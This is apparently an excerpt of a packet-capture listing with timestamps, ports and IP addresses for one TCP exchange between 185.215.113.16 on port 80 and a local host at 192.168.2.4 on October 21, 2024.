Oct 21, 2024 10:46:23.459582090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459594011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459604979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459623098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459635973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459647894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459659100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459673882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459686041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459695101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459700108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459758997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459769964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459769011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459769011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459781885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459798098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459810019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459813118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459826946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459834099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459841013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459851980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459861040 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459862947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459873915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459884882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459896088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459916115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459917068 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459917068 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459928036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459938049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459943056 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459943056 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459955931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459968090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459986925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459994078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460001945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460014105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460015059 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460026026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460036039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460046053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460048914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460059881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460069895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460072994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460079908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460093975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460095882 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460108042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460115910 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460151911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460179090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460216999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460288048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460298061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460306883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460318089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460328102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460333109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460340977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460360050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460366011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460369110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460381031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460391045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460397959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460407019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460418940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460424900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460441113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460443020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460459948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460469007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460470915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460485935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460495949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460509062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460510969 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460517883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460529089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460535049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460541010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460556030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460556984 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460568905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460580111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460582972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460593939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460598946 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460608006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460617065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460630894 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460645914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460665941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460678101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460689068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460705042 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460728884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460817099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460839987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460851908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460870981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460881948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460881948 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460892916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460906982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460911036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460921049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460928917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460932970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460953951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460958004 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460967064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460978031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460988998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.460994005 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.460999966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461010933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461020947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461021900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461040974 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461044073 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461050987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461054087 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461062908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461075068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461083889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461088896 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461103916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461116076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461122990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461127043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461138964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461149931 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461163998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461169004 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461219072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461222887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461236954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461249113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461260080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461270094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461273909 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461278915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461314917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461329937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461338043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461343050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461354017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461364031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461385965 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461393118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461405039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461415052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461422920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461438894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461458921 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461491108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461523056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461534023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461544037 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461575985 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461606026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461618900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461627960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461639881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461646080 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461659908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461668015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461668968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461680889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461693048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461719036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461745024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461756945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461766958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461776018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461785078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461786032 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461797953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461800098 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461807966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461826086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461842060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461846113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461857080 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461858034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461904049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461914062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461924076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461954117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461958885 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461966038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461977005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.461991072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.461991072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462038994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462104082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462165117 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462198019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462208986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462219954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462230921 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462276936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462285042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462296963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462325096 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462342024 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462388039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462399960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462409019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462419033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462436914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462445974 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462446928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462460041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462466002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462470055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462481022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462491035 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462508917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462512970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462526083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462537050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462544918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462552071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462578058 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462591887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462603092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462619066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462634087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462635040 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462644100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462655067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462657928 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462667942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462677956 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462686062 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462690115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462702990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462713003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462714911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462729931 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462733984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462743998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462758064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462763071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462773085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462779999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462802887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.462904930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462917089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462925911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.462950945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463016987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463028908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463038921 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463053942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463054895 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463073015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463076115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463093042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463105917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463105917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463114977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463125944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463136911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463146925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463155031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463160038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463165998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463176966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463188887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463188887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463200092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463212967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463232040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463238001 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463243961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463254929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463274002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.463301897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463311911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.463346958 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464421988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464440107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464451075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464459896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464468002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464472055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464483976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464484930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464497089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464507103 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464512110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464519978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464534998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464545012 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464545012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464556932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464567900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464572906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464579105 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464595079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464608908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464613914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464624882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464637041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464647055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464649916 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464658022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464668036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464678049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464679003 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464689970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464700937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464704037 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464713097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464721918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464724064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464735031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464737892 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464745998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464761972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464787006 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464792967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464809895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464819908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464832067 CEST	80	49745	185.215.113.16	192.168.2.4
